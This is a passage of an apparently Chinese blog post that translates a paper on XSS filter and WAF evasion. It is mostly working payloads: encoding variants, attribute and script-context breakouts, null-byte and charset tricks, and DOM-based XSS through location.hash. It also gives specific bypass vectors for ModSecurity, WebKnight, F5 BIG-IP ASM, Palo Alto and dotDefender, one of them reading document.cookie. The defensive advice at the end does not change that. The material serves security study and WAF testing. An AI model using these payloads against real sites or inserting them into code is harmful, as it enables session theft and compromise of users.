    1.&lt;/script&gt;&lt;script&gt;alert(1)&lt;/script&gt;
    2.<a xhref='j&#x26;#x26#x41;vascript:alert%252831337%2529'>Hello</a>

    4.1.4 编码

      javascript是一门十分灵活的语言,我们可以灵活的使用多种类型编码,如十六进制、Unicode、HTML。然而他们对载荷编码都有某些的规则。有时候WAF解码实体时情况有所不同,这里是一个特定属性的列表,其后是他们支持的编码方式。
    属性:

    01.href=
    02.action=
    03.formaction=
    04.location=
    05.on*=
    06.name=
    07.background=
    08.poster=
    09.src=
    10.code=

    支持的编码: HTML, 八进制, 十进制, 十六进制, Unicode

    属性:data=  支持的编码:base64

    4.1.5 基于上下文的过滤

      web应用过滤器一个很大的问题是它们不理解上下文黑名单能阻塞单独的javascript脚本,但对于防范XSS却并不是那么有效。原因在于我们并不是每次都需要一个单独的向量来执行javascript脚本,很多时候我们的输入会被反射,这种情况下我们不需要单独的javascript脚本来执行有效的javascript语句,看几个例子:

    属性中的输入反射:

    1.<input value='XSStest' type=text>


      显然我们可以使用 ><imgsrc=x onerror=prompt(0);>, 这样的语句,我们使用>闭合input标签然后插入自己的载荷。然而,有时候我们的<>会被转义或过滤掉,我们可以使用相似的方法绕过并执行我们的javascript脚本

    1.autofocusonfocus=alert(1)//

      基本上我们在最前面使用'来闭合标签中的值然后执行我们的事件处理函数:

    1.' onmouseover='prompt(0) x='
    2.' onfocusin=alert(1) autofocus x='
    3.' onfocusout=alert(1) autofocus x='
    4.' onblur=alert(1) autofocus a='

    <script>标签中的输入反射:

    1.<script>
    2.Var x=”Input”; </script>

      

      我们现在面临的是不允许<>的情况,因此我们不能使用一个已有的属性如'></script>。然而,在这种情况下我们不需要闭合脚本属性来执行JavaScript,因为我们的输入已经反射在script标签中了。我们可以直接调用alert()、prompt()、confirm()函数执行有效的JavaScript代码,下面的输入会触发一个alert

    1.“;alert(1)//

      双引号和分号会闭合已有的属性,然后alert函数就会执行,这里是它实际执行的情况:

    1.<script>
    2.Var x=”“;alert(1)//”; </script>

    非常规的事件监听:
      很多时候需要在JavaScript中使用非常规的事件处理,如DOMfocusin、DOMfocusout,这些事件让事件监听得到适当的执行

    1.';document.body.addEventListener('DOMActivate',alert(1))//
    2.';document.body.addEventListener('DOMActivate',prompt(1))//
    3.';document.body.addEventListener('DOMActivate',confirm(1))//

    这里是同种类的事件处理函数:

    01.DOMAttrModified
    02.DOMCharacterDataModified
    03.DOMFocusIn
    04.DOMFocusOut
    05.DOMMouseScroll
    06.DOMNodeInserted
    07.DOMNodeInsertedIntoDocument
    08.DOMNodeRemoved
    09.DOMNodeRemovedFromDocument
    10.DOMSubtreeModified

    href上下文:

      另外一个你经常会遇到的上下文是href标签中的输入:

    1.<a xhref=”Userinput”>Click</a>

      

      这种情况下,我们只需直接插入JavaScript,用户点击就会执行
      javascript:alert(1)//
      完整的语句为:

    1.<a xhref=”javascript:alert(1)//”>Click</a>

      大多数你遇到的黑名单过滤器都回删掉JavaScript关键字或者查找冒号后面的javaScript。这种情况下你可以使用HTML实体编码和URL编码来绕过黑名单,href标签会自动解码实体。如果还是不行,你可以试试vbscript,该伪协议在IE10和data URI中都能支持。

    Javascript变种:

      下面是几个JavaScript变种:

    1.javascript&#00058;alert(1)
    2.javaSCRIPT&colon;alert(1)
    3.jaVaScRipT:alert(1)
    4.javas&Tab;cript:alert(1);
    5.javascript:alert&#x28;1&#x29
    6.javascript&#x3A;alert&lpar;document&period;cookie&rpar;

    vbscript变种:

    1.vbscript:alert(1);
    2.vbscript&#00058;alert(1);
    3.vbscr&Tab;ipt:alert(1)'

    Data URl:

    1.data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==

    Json上下文:
      在encodeURIComponent中插入JavaScript代码,很容易触发XSS并在所有的浏览器中执行


    输入反射:

      encodeURIComponent('userinput')
      例如:-alert(1)-
      -prompt(1)-
      -confirm(1)-
      执行结果就是

    1.encodeURIComponent('-alert(1)-')

    svg标签中的输入反射:

      svg中的用户输入有点不同,HTML5的到来使得svg的使用得到戏剧性的增加。使用它也引发了很多问题,试想如下场景,你的输入被反射到<svg>里面的<script>标签中

    1.<svg><script>varmyvar=”YourInput”;</script></svg>

      当我们提交如下输入时:www.site.com/test.php?var=text”;alert(1)//

      有时候双引号会被编码,但它仍是有效的javascript语法并会得到执行

    1.<svg><script>varmyvar='text&quot;;alert(1)//';</script></svg>

      至于它会执行的是因为在HTML中引入了额外的上下文(XML),解决方法可以对字符进行两次编码


    5.1 浏览器Bug

      之前提到过,绕过web应用过滤器的关键在于我们比WAF提供商更好的了解浏览器,只有当我们理解了浏览器的工作方式才有可能找到bug并利用其为我所用。这一节我们会谈一谈浏览器的bug

    5.1.2 字符集Bug

      字符集bug在IE中也很常见,第一个字符集bug是UTF-7,然而我们并不会去讨论,它只对以前的浏览器有效。但我还是会谈到一个比较好玩的场景,我们可以在现代浏览器中执行JavaScript脚本。字符集定义了页面编码的方式,大部分internet网站使用的是utf-8编码,当然也有一些使用的是其他编码方式。如果你能通过篡改参数将页面的编码方式改为你选择的,我们可以绕过99.99%的WAF和例如html特殊字符的防御方式,当然这种情况也十分少见。


      试想一下下面这个场景,下面的应用使用html特殊符号,或者你碰到了一个会编码输入的WAF,字符集参数定义了默认的编码方式为utf-8
      http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v=XSS
      我们注入测试载荷并观察返回结果;
      http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v=”><img xsrc=x onerror=prompt(0);>
      \


      这样我们就有了一个可以设置字符集的参数,可以将其改为utf-32并注入基于utf-32的载荷:

    1.∀㸀㰀script㸀alert(1)㰀/script㸀

      当我们注入上面的载荷时,它就会被编码为我们设置的utf-32,然后编码页面为utf-8,表现为如下:

    1.'<script>alert (1) </ script>

    最终的poc如下:

    2.32&v=%E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80

      上面的攻击载荷会在IE9及之前的版本执行JavaScript代码,它能在IE9中执行是因为IE不仅无法识别utf-32(当然firefox也无法识别),而且IE直到IE9都不会处理空字节(0x00),而Chrome和safari都可以识别utf-32

    5.1.3 空字节

      如果你有编程基础的话,你对空字节一定不会感到陌生,它们通常用于字符串终结符。IE9之前的版本都会忽略空字节,而这可以帮我们规避许多web应用程序过滤器,因为它们可能并不会过滤空字符。几个月前,我用空字符绕过了mod_security的xss过滤器,如下;

    1.<scri%00pt>alert(1);</scri%00pt>
    2.<script>alert(1);</scri%00pt>
    3.<s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>
    4.<!--空字节直到php5.3.8还能奏效>

    5.1.4 解析bug
      RFC文档声明了节点名不能是空格,这意味着下面的代码不能运行

    1.<script>alert(1);</script>
    2.<%0ascript>alert(1);</script>
    3.<%0bscript>alert(1);</script>

      不妨试想一下,过滤器在节点名开始处就查找字符(a-z)并将其过滤掉。但是如果我们可以注入其它如% , // , !等的特殊符号,我们就可能绕过旧版本的IE过滤器。原因是旧版本IE的攻击载荷,例如<%,<//,<!,<?会被解析为<,然后我们就可以在这些字符后面注入攻击载荷了,下面是几个例子;

    1.<// style=x:expression8write(1)9> // Works upto IE7
    2.<!--[if]><script>alert(1)</script --> // Works upto IE9
    3.<?xml-stylesheet type='text/css'?><root style='x:expression(write(1))'/>


    5.1.5 Unicode分隔符

      在Unicode字符集中有一些分隔符,比如空格,每个浏览器都有它自己的分隔符。当你碰上一个有着良好规则的WAF,它们通常会拦截所有的事件处理函数,阻塞所有事件处理函数的正则表达式如下所示:
              [onw+s*]
      上面的正则表达式会查找所有以on*开通的字符串并将其删除,元字符's'的问题是它不包含一些分隔符,如x0b

      为了确定每个浏览器的有效分隔符,我们可以从0x00到0xff进行模糊测试,幸运的是已经有人为每个浏览器编出了一个有效分隔符的列表:

    1.IExplorer= [0x09,0x0B,0x0C,0x20,0x3B]
    2.Chrome = [0x09,0x20,0x28,0x2C,0x3B]
    3.Safari = [0x2C,0x3B]
    4.FireFox= [0x09,0x20,0x28,0x2C,0x3B]
    5.Opera = [0x09,0x20,0x2C,0x3B]
    6.<a xhref="http://www.it165.net/pro/ydad/" target="_blank" class="keylink">Android</a> = [0x09,0x20,0x28,0x2C,0x3B]

      上面所有这些分隔符中,oxb是比较难搞懂的,mod_security使用类似上面描述的正表达式,我用下面的poc又一次绕过了mod_security

    1.<a/onmouseover[ ]=location='javascript:alert(0);'>rhainfosec

      下面的python代码会打印出从0x00到0xff的所有字符:

    1.count = 0
    2.fori in xrange(0x00,0xff):
    3.count += 0x1
    4.printchr(i),
    5.print count

    5.2.1 缺失X-frame-Options

      经常存在一个误解,认为x-frame options是用来防范点击劫持漏洞的,不过防止网站被攻陷可以使你免于无穷无尽的漏洞
      

    5.2.2 Docmodes

      IE在很久前引入了doc-mode,用于提供向后的兼容性,然而这也暴露了一些风险。设想如果攻击者能攻下你的网站,他也可以引入doc-mode并执行CSS表达式:
      expression(open(alert(1)))

      下面的poc会插入IE7仿真器并将一个网站地址置于iframe中

    1.<html>
    2.<body>
    3.<meta http-equiv='X-UA-Compatible' content='IE=EmulateIE7' />
    4.<iframe xsrc='https://targetwebsite.com'>
    5.</body>
    6.</html>

    5.2.3 Window.name

      名称对象告诉我们窗口的名字,在这样一个场景我们可以加载页面,在iframe中我们也能控制窗口的名字,我们可以执行javaScript脚本并绕过长度的限制,在设想一下我们可以攻陷一个网站却不能注入'javascript:alert(1)'
    POC:

    1.<iframe xsrc='http://www.target.com?foo='xss autofocus/AAAAA onfocus=location=window.name//' name='javascript:alert('XSS')'></iframe>

      参数位置相当于'window.name',因为我们已经控制了名称属性,我们可以将名字设置为“javascript:alert(xss)”,再然后,我们就可以执行javascript脚本了

    6.1 基于DOM的XSS
      服务端的过滤器无法应对基于DOM的XSS,原因在于基于DOM的XSS其XSS攻击向量总是在客户端执行,看一下最简单的例子:

    1.<script>
    2.vari=location.hash;
    3.document.write(i);
    4.</script>

      上面的JavaScript获取location.hash的输入,location.hash后面传递的任何东西都不会发给服务器,接下来基于用户的输入通过document.write属性直接打印给DOM而没有任何JavaScript转义,这会导致基于DOM的XSS

      在一些场合下我们会将一个反射型XSS转换为基于DOM的XSS以避开过滤器,看一下这个POC:

    1.http://www.target.com/xss.php?foo=<svg/onload=location=/java/.source+/script/.source+location.hash[1]+/al/.source+/ert/.source+location.hash[2]+/docu/.source+/ment.domain/.source+location.hash[3]//#:()

      上面的POC仅当[及.和+被允许时才有效,我们可以使用location.hash来注入所有不被允许的字符。上面的场景中(,)和:不被允许,然而[,.和+是被允许的。因此,我们在     想注入不允许字符的地方使用location.hash[index]进行插入。

    1.Location.hash[2]= ( // Defined at the second position after the hash.
    2.Location.hash[3] = ) // Defined at third position after the hash.
    3.Location.hash[1] = : // Defined at the first position after the hash.

      基于DOM的XSS的唯一障碍是客户端的过滤器,我们会在一个单独的页面里看一下绕过的方法

    7.1 绕过
      通过调整cheat sheet里的攻击载荷,我们能绕过大多数流行的WAF,我们决定有一些方法等到厂商修复后再公布,以免违背道德黑客精神

    7.1.1 绕过ModSecurity

    1.<scri%00pt>confirm(0);</scri%00pt>
    2.<a/onmouseover[ ]=location='javascript:alert(0);'>rhainfosec

    7.1.2 绕过webKnight

    1.<isindex action=j&Tab;a&Tab;vas&Tab;c&Tab;r&Tab;ipt:alert(1) type=image>
    2.<marquee/onstart=confirm(2)>

    7.1.3 绕过F5 BIG IP ASM and Palo ALTO

    1.<table background='javascript:alert(1)'></table>

      上面的向量仅在IE6和更早版本中的opera有效,在写这些的时候我们确实还有一些对F5、BIG IP和Palo ALTO有效的向量,使用这些向量可以在现在的浏览器中执行JavaScript脚本。不过,在我们决定不公开的时候供应商也正在忙着修复这些问题

      这是另一个可以绕过F5 BIG IP ASM的:

    1.“/><marquee onfinish=confirm(123)>a</marquee>

    7.1.4 绕过Dot Defender

    1.<svg/onload=prompt(1);>
    2.<isindex action='javas&tab;cript:alert(1)' type=image>
    3.<marquee/onstart=confirm(2)>

    结论:
      到这里可以得出结论,黑名单不是一个完美的解决方案,也无法成为完美的解决方案;黑名单可以节省时间,然而,它使得应用相比白名单有更多地漏洞。我们希望能像WAF供应商推荐下面这些最佳实践

    1)开发人员和管理员应该记住,除非漏洞从源代码级别打上了补丁,否则WAF只是用于已知的漏洞控制器/参数的短时间内的安全机制

    2)给WAF的签名数据库及时更新并在上线前对其进行测试以确保按预期的方式运行
    3)WAF仅当配置有特定控制器/参数的签名时才能提供帮助,因此它需要手工定义期望的值得类型、最小/最大长度、content-type等参数以确保WAF在遇到入侵请求时能知道什么时候该阻塞、什么时候该报警
    4)如果WAF依赖于黑名单,你要让你的签名库保持最新并周期性地核实WAF维护者发布的新签名,确保它可以阻塞已知的浏览器bug

    0x3 后记

    翻译到这里就算结束了,在内容和质量上相比乌云上的那篇其实并没有什么突破,排版方面也比较草率。不得不说的是,写一篇自己的博客真的很耗时间,以上一篇博客为例,跟这篇一样是翻译的,但是由于前者文字较多,而且原文也比较随意,加上自己英语水平还有很大改进空间,花了很长时间。大致变成中文后,考虑到这种技术性的paper都会附有代码和截图,在排版等方面也得稍微花点时间,最终完成后,自己对该篇博客内容的理解也有了更深的理解,在这里向那些写paper的达人们致敬。以前在博客上写东西是作为笔记用的,自己需要的时候可以随手查阅,但是慢慢发现这样做的时候常常会太过于随意,也缺乏深入的思考,不太可取,还是发点有内容的东西吧。发博客是记录个人成长的一种很好的方式,也能促发人进行深入的思考或研究,翻译是一件不错但辛苦的事,不管怎么样也限于中国制造,我们需要的更多地是中国创造。

Pages: 1/62 First page 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 Next page Final page [ View by Articles | List ]